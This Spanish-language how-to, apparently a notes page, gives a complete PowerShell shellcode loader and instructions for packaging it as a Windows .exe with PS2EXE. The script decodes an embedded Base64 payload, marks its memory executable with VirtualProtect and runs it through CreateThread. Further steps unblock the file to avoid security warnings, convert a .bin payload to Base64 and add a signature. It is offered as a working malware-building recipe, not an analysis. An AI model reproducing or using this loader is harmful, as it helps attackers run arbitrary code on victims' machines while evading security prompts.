.exe
Para combinar el script de PowerShell (.ps1
) y el archivo binario (.bin
) en un solo ejecutable .exe
Usando PS2EXE para convertir el .ps1
en un .exe
y agregar el archivo .bin
# Desbloquear el archivo para evitar la advertencia de seguridad
Unblock-File -Path $MyInvocation.MyCommand.Path
# Obtener la cadena Base64 incrustada del archivo binario (Reemplaza esto con la cadena Base64 generada)
$base64String = 'PASTE_YOUR_BASE64_ENCODED_BIN_HERE'
# Convertir la cadena Base64 a un arreglo de bytes
$scBytes = [Convert]::FromBase64String($base64String)
# Reservar memoria para el shellcode
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($scBytes.Length)
# Copiar los bytes en la memoria reservada
[System.Runtime.InteropServices.Marshal]::Copy($scBytes, 0, $ptr, $scBytes.Length)
# Establecer permisos de ejecuci贸n en la memoria reservada
$oldProtect = 0
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@
# Cambiar los permisos de la memoria para que sea ejecutable
[Kernel32]::VirtualProtect($ptr, $scBytes.Length, 0x40, [ref]$oldProtect)
# Crear un hilo y ejecutar el shellcode
$threadId = 0
$hThread = [Kernel32]::CreateThread([IntPtr]::Zero, 0, $ptr, [IntPtr]::Zero, 0, [ref]$threadId)
# Esperar a que termine la ejecuci贸n (espera indefinida)
[Kernel32]::WaitForSingleObject($hThread, [UInt32]::MaxValue)
Para obtener la cadena Base64, usa el siguiente comando en PowerShell para convertir el archivo binario .bin
:
powershellCopiar[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\path\to\AVAILABLE_VISUAL.bin")) > "C:\path\to\base64_output.txt"
Luego, copia la cadena del archivo base64_output.txt
y reempl谩zala en el script.
# Copia el contenido completo del archivo al portapapeles
Get-Content -Path .\base64_output.txt -Raw | clip
ps2exe .\script.ps1 .\output.exe
--AGREGAR FIRMA ETC...
Last updated